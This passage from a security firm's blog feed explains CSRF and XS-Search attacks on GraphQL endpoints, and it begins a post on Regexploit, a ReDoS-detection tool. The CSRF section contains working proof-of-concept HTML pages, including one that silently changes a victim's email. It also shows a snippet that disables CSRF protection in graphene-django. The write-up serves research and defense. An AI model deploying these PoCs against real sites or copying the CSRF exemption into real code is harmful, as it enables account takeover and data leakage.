	&lt;img src=&quot;../../../public/images/generate-csrf-poc.png&quot; title=&quot;shell.showItemInFolder&quot; alt=&quot;shell.showItemInFolder&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto; width: 400px;&quot; /&gt;
&lt;/div&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;html&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;c&quot;&gt;&amp;lt;!-- CSRF PoC - generated by Burp Suite Professional --&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;history&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;pushState&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;''&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;''&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;form&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;action=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;https://redacted/graphql&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;method=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;POST&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
      &lt;span class=&quot;nt&quot;&gt;&amp;lt;input&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;hidden&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;query&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&amp;amp;#123;&amp;amp;#10;&amp;amp;#32;&amp;amp;#32;user&amp;amp;#32;&amp;amp;#123;&amp;amp;#10;&amp;amp;#32;&amp;amp;#32;&amp;amp;#32;&amp;amp;#32;firstName&amp;amp;#10;&amp;amp;#32;&amp;amp;#32;&amp;amp;#32;&amp;amp;#32;&amp;amp;#95;&amp;amp;#95;typename&amp;amp;#10;&amp;amp;#32;&amp;amp;#32;&amp;amp;#125;&amp;amp;#10;&amp;amp;#125;&amp;amp;#10;&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
      &lt;span class=&quot;nt&quot;&gt;&amp;lt;input&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;submit&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Submit request&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;While the example above only presents a harmless query, that’s not always the case. Since GraphQL resolvers are usually decoupled from the underlying application layer they are passed, any other query can be issued, including &lt;strong&gt;mutations&lt;/strong&gt;.&lt;/p&gt;

&lt;h4 id=&quot;get-based-csrf&quot;&gt;GET Based CSRF&lt;/h4&gt;

&lt;p&gt;There are two common issues that we have spotted during our past engagements.&lt;/p&gt;

&lt;p&gt;The first one is using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GET&lt;/code&gt; requests for both &lt;em&gt;queries&lt;/em&gt; and &lt;em&gt;mutations&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;For example, in one of our recent engagements, the application was exposing a &lt;a href=&quot;https://github.com/graphql/graphiql&quot;&gt;GraphiQL console&lt;/a&gt;. GraphiQL is only intended for use in development environments. When misconfigured, it can be abused to perform CSRF attacks on victims, causing their browsers to issue arbitrary &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;query&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mutation&lt;/code&gt; requests. In fact, GraphiQL does allow mutations via GET requests.&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
	&lt;img src=&quot;../../../public/images/ts-graphql-csrf-graphiql.png&quot; title=&quot;shell.showItemInFolder&quot; alt=&quot;shell.showItemInFolder&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto; width: 800px;&quot; /&gt;
&lt;/div&gt;

&lt;p&gt;While CSRF in standard web applications usually affects only a handful of endpoints, the same issue in GraphQL is generally system-wise.&lt;/p&gt;

&lt;p&gt;For the sake of an example, we include the Proof-of-Concept for a mutation that handles a file upload functionality:&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;html&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;head&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;title&amp;gt;&lt;/span&gt;GraphQL CSRF file upload&lt;span class=&quot;nt&quot;&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;
	&lt;span class=&quot;nt&quot;&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
		&lt;span class=&quot;nt&quot;&gt;&amp;lt;iframe&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;src=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;https://graphql.victimhost.com/?query=mutation%20AddFile(%24name%3A%20String!%2C%20%24data%3A%20String!%2C%20%24contentType%3A%20String!) %20%7B%0A%20%20AddFile(file_name%3A%20%24name%2C%20data%3A%20%24data%2C%20content_type%3A%20%24contentType) %20%7B%0A%20%20%20%20id%0A%20%20%20%20__typename%0A%20%20%7D%0A%7D%0A&amp;amp;variables=%7B%0A %20%20%22data%22%3A%20%22%22%2C%0A%20%20%22name%22%3A%20%22dummy.pdf%22%2C%0A%20%20%22contentType%22%3A%20%22application%2Fpdf%22%0A%7D&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/span&gt;
	&lt;span class=&quot;nt&quot;&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The second issue arises when a state-changing GraphQL operation is misplaced in the queries, which are normally non-state changing. In fact, most of the GraphQL server implementations respect this paradigm, and they even block any kind of mutation through the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GET&lt;/code&gt; HTTP method. Discovering this type of issues is trivial, and can be performed by enumerating query names and trying to understand what they do. For this reason, we developed a &lt;a href=&quot;https://github.com/doyensec/inql&quot;&gt;tool for query/mutation enumeration&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;During an engagement, we discovered the following query that was issuing a state changing operation:&lt;/p&gt;

&lt;div class=&quot;language-go highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;req&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;graphql&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;NewRequest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;`
	query SetUserEmail($email: String!) {
		SetUserEmail(user_email: $email) {
			id
			email
		}
	}
`&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Given that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;id&lt;/code&gt; value was easily guessable, we were able to prepare a CSRF PoC:&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;html&amp;gt;&lt;/span&gt;
	&lt;span class=&quot;nt&quot;&gt;&amp;lt;head&amp;gt;&lt;/span&gt;
		&lt;span class=&quot;nt&quot;&gt;&amp;lt;title&amp;gt;&lt;/span&gt;GraphQL CSRF - State Changing Query&lt;span class=&quot;nt&quot;&gt;&amp;lt;/title&amp;gt;&lt;/span&gt; 
	&lt;span class=&quot;nt&quot;&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;
	&lt;span class=&quot;nt&quot;&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
		&lt;span class=&quot;nt&quot;&gt;&amp;lt;iframe&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;width=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;1000&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;height=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;1000&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;src=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;https://victimhost.com/?query=query%20SetUserEmail%28%24email%3A%20String%21%29%20%7B%0A%20%20SetUserEmail%28user_email%3A%20%24email%29%20%7B%0A%20%20%20%20id%0A%20%20%20%20email%0A%20%20%7D%0A%7D%0A%26variables%3D%7B%0A%20%20%22id%22%3A%20%22441%22%2C%0A%20%20%22email%22%3A%20%22attacker%40email.xyz%22%2C%0A%7D&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/span&gt;
	&lt;span class=&quot;nt&quot;&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Despite the most frequently used GraphQL  servers/libraries having some sort of protection against CSRF, we have found that in some cases developers bypass the CSRF protection mechanisms. For example, if &lt;a href=&quot;https://github.com/graphql-python/graphene-django&quot;&gt;graphene-django&lt;/a&gt; is in use, there is an easy way to deactivate the CSRF protection on a particular GraphQL endpoint:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;urlpatterns&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;patterns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;# ...
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'^graphql'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;csrf_exempt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GraphQLView&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;as_view&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;graphiql&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))),&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;# ...
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;csrf-better-safe-than-sorry&quot;&gt;CSRF: Better Safe Than Sorry&lt;/h3&gt;

&lt;p&gt;Some browsers, such as Chrome, recently defaulted cookie behavior to be equivalent to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SameSite=Lax&lt;/code&gt;, which protects from the most common CSRF vectors.&lt;/p&gt;

&lt;p&gt;Other prevention methods can be implemented within each application. The most common are:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Built-in CSRF protection in modern frameworks&lt;/li&gt;
  &lt;li&gt;Origin verification&lt;/li&gt;
  &lt;li&gt;Double submit cookies&lt;/li&gt;
  &lt;li&gt;User interaction based protection&lt;/li&gt;
  &lt;li&gt;Not using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GET&lt;/code&gt; request for state changing operations&lt;/li&gt;
  &lt;li&gt;Enhanced CSRF protection to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GET&lt;/code&gt; request too&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;There isn’t necessarily a single best option for every application. Determining the best protection requires evaluating the specific environment on a case-by-case basis.&lt;/p&gt;

&lt;h3 id=&quot;rumbling-the-xs-search&quot;&gt;Rumbling The XS-Search&lt;/h3&gt;

&lt;p&gt;In &lt;em&gt;XS-Search&lt;/em&gt; attacks, an attacker leverages a CSRF vulnerability to force a victim to request data the attacker can’t access themselves. The attacker then compares response times to infer whether the request was successful or not.&lt;/p&gt;

&lt;p&gt;For example, if there is a CSRF vulnerability in the file search function and the attacker can make the admin visit that page, they could make the victim search for filenames starting with specific values, to confirm for their existence/accessibility.&lt;/p&gt;

&lt;p&gt;Applications which accept &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GET&lt;/code&gt; requests for complex urlencoded queries and demonstrate a general misunderstanding of CSRF protection on their GraphQL endpoints represent the perfect target for XS-Search attacks.&lt;/p&gt;

&lt;p&gt;XS-Search is quite a neat and simple technique which can transform the following query in an attacker controlled binary search (eg. we can enumerate the users of a private platform):&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;query&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;isEmailAvailable&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;email&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;foo@bar.com&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;nx&quot;&gt;is_email_available&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In HTTP &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GET&lt;/code&gt; form:&lt;/p&gt;

&lt;div class=&quot;language-http highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;GET&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;/graphql?query=query+%7B%0A%09isEmailAvailable%28email%3A%22foo%40bar.com%22%29+%7B%0A%09%09is_email_available%0A%09%7D%0A%7D&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;HTTP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;1.1&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Accept-Encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;gzip, deflate&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Connection&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;close&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;User-Agent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Host&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;redacted&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Content-Length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;0&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Content-Type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;application/json&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Cookie&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The implications of a successful &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;XS-Search&lt;/code&gt; attack on a GraphQL endpoint cannot be overstated. However, as previously mentioned, CSRF-based issues can be successfully mitigated with some effort.&lt;/p&gt;

&lt;h3 id=&quot;automate-everything&quot;&gt;Automate Everything!!!&lt;/h3&gt;

&lt;p&gt;As much as we love finding bugs the hard way,
we believe that automation is the only way to democratize security and provide
the best service to the community.&lt;/p&gt;

&lt;p&gt;For this reason and in conjunction with this research, we are releasing a new major version of our GraphQL &lt;strong&gt;InQL&lt;/strong&gt; Burp extension.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/doyensec/inql/releases/tag/v4.0.1&quot;&gt;InQL v4&lt;/a&gt; can assist in detecting these issues:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;By identifying various classes of CSRF through new “Send to Repeater” helpers:&lt;/p&gt;

    &lt;ul&gt;
      &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GET&lt;/code&gt; query parameters&lt;/li&gt;
      &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;POST&lt;/code&gt; form-data&lt;/li&gt;
      &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;POST&lt;/code&gt; x-form-urlencoded&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;By improving the query generation&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
	&lt;img src=&quot;../../../public/images/inql_v3_demo.gif&quot; title=&quot;shell.showItemInFolder&quot; alt=&quot;shell.showItemInFolder&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto; width: 800px;&quot; /&gt;
&lt;/div&gt;

&lt;h2 id=&quot;something-for-our-beloved-number-crunchers&quot;&gt;Something for our beloved number crunchers!&lt;/h2&gt;

&lt;p&gt;We tested for the aforementioned vulnerabilities in some of the top companies that make use of GraphQL.
While the research on these ~30 endpoints lasted only two days
and no conclusiveness nor completeness should be inferred,
numbers show an impressive amount of unpatched vulnerabilities:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;14 (~50%) were vulnerable to some kind of XS-Search, equivalent to a GET-based CSRF&lt;/li&gt;
  &lt;li&gt;3 (~10%) were vulnerable to CSRF&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
  &lt;p&gt;TL;DR: Cross Site Request Forgery is here to stay for a few more years, even if you use GraphQL!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.doyensec.com/2018/05/17/graphql-security-overview.html&quot;&gt;GraphQL Security Overview&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.doyensec.com/2020/11/19/inql-scanner-v3.html&quot;&gt;Doyensec InQL Scanner&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html&quot;&gt;OWASP CSRF Prevention Cheat Sheet&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://graphql.org/learn/serving-over-http/#get-request&quot;&gt;GraphQL GET request queries&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://book.hacktricks.xyz/pentesting-web/xs-search&quot;&gt;XSSearch&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/xsleaks/xsleaks/wiki/Browser-Side-Channels&quot;&gt;XSSearch navigation event for GET requests&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
 </entry>
 
 <entry>
   <title>Regexploit: DoS-able Regular Expressions</title>
   <link href="https://blog.doyensec.com/2021/03/11/regexploit.html"/>
   <updated>2021-03-11T00:00:00+01:00</updated>
   <id>https://blog.doyensec.com/2021/03/11/regexploit</id>
   <content type="html">&lt;style&gt;.ansi{ line-height: 1.1; font-family: monospace; margin-left: 1rem; } .myansi { margin-left: 1rem; } .myansi p { margin-bottom: 0.2rem; } code.regex span { color: #fff; padding: 2px 4px; }&lt;/style&gt;

&lt;p&gt;When thinking of Denial of Service (DoS), we often focus on Distributed Denial of Service (DDoS) where millions of zombie machines overload a service by launching a tsunami of data.
However, by abusing the algorithms a web application uses, an attacker can bring a server to its knees with as little as a single request.
Doing that requires finding algorithms which have terrible performance under certain conditions, and then triggering those conditions.
One widespread and frequently vulnerable area is in the misuse of regular expressions (regexes).&lt;/p&gt;

&lt;p&gt;Regular expressions are used for all manner of text-processing tasks.
They may seem to run fine, but if a regex is vulnerable to Regular Expression Denial of Service (ReDoS), it may be possible to craft input which causes the CPU to run at 100% for years.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;In this blog post, we’re releasing a new tool to analyse regular expressions and hunt for ReDoS vulnerabilities. Our heuristic has been proven to be extremely effective, as demonstrated by many vulnerabilities discovered across popular NPM, Python and Ruby dependencies.&lt;/strong&gt;&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
	&lt;img src=&quot;../../../public/images/regexploit_logo.png&quot; title=&quot;regexploit_logo&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto; max-width: 60%;&quot; /&gt;
&lt;/div&gt;

&lt;h3 id=&quot;check-your-regexes-with-regexploit&quot;&gt;Check your regexes with Regexploit&lt;/h3&gt;

&lt;p&gt;🚀 &lt;a href=&quot;https://github.com/doyensec/regexploit&quot;&gt;@doyensec/regexploit&lt;/a&gt; - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pip install regexploit&lt;/code&gt; and find some bugs.&lt;/p&gt;

&lt;h3 id=&quot;backtracking&quot;&gt;Backtracking&lt;/h3&gt;

&lt;p&gt;To get into the topic, let’s review how the regex matching engines in languages like Python, Perl, Ruby, C# and JavaScript work. Let’s imagine that we’re using this deliberately silly regex to extract version numbers:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;regex&quot; data-regex=&quot;(.+)\.(.+)\.(.+)&quot;&gt;
&lt;span style=&quot;background-color:#A0A;&quot;&gt;(.+)&lt;/span&gt;&lt;span style=&quot;background-color:#A50&quot;&gt;\.&lt;/span&gt;&lt;span style=&quot;background-color:#A00&quot;&gt;(.+)&lt;/span&gt;&lt;span style=&quot;background-color:#0A0&quot;&gt;\.&lt;/span&gt;&lt;span style=&quot;background-color:#A0A&quot;&gt;(.+)&lt;/span&gt;
&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;That will correctly process something like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;123.456.789&lt;/code&gt;, but it’s a pretty inefficient regex. How does the matching process work?&lt;/p&gt;

&lt;div class=&quot;myansi&quot;&gt;
  &lt;p&gt;The first &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.+&lt;/code&gt; capture group greedily matches all the way to the end of the string as dot matches every character.&lt;/p&gt;
  &lt;div class=&quot;ansi&quot;&gt;
&lt;span style=&quot;color:#ffffff&quot;&gt;&lt;span style=&quot;background-color:#ff00ff&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color:#0AA&quot;&gt;123.456.789&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color:#ffffff&quot;&gt;&lt;span style=&quot;background-color:#ff00ff&quot;&gt;&lt;span style=&quot;background-color:#A0A&quot;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color:#0AA&quot;&gt;23.456.789&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color:#ffffff&quot;&gt;&lt;span style=&quot;background-color:#ff00ff&quot;&gt;&lt;span style=&quot;background-color:#A0A&quot;&gt;12&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color:#0AA&quot;&gt;3.456.789&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color:#ffffff&quot;&gt;&lt;span style=&quot;background-color:#ff00ff&quot;&gt;&lt;span style=&quot;background-color:#A0A&quot;&gt;123&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color:#0AA&quot;&gt;.456.789&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color:#ffffff&quot;&gt;&lt;span style=&quot;background-color:#ff00ff&quot;&gt;&lt;span style=&quot;background-color:#A0A&quot;&gt;123.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color:#0AA&quot;&gt;456.789&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color:#ffffff&quot;&gt;&lt;span style=&quot;background-color:#ff00ff&quot;&gt;&lt;span style=&quot;background-color:#A0A&quot;&gt;123.4&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color:#0AA&quot;&gt;56.789&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color:#ffffff&quot;&gt;&lt;span style=&quot;background-color:#ff00ff&quot;&gt;&lt;span style=&quot;background-color:#A0A&quot;&gt;123.45&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color:#0AA&quot;&gt;6.789&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color:#ffffff&quot;&gt;&lt;span style=&quot;background-color:#ff00ff&quot;&gt;&lt;span style=&quot;background-color:#A0A&quot;&gt;123.456&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color:#0AA&quot;&gt;.789&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color:#ffffff&quot;&gt;&lt;span style=&quot;background-color:#ff00ff&quot;&gt;&lt;span style=&quot;background-color:#A0A&quot;&gt;123.456.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color:#0AA&quot;&gt;789&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color:#ffffff&quot;&gt;&lt;span style=&quot;background-color:#ff00ff&quot;&gt;&lt;span style=&quot;background-color:#A0A&quot;&gt;123.456.7&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color:#0AA&quot;&gt;89&lt;/span&gt;&lt;br /&gt;
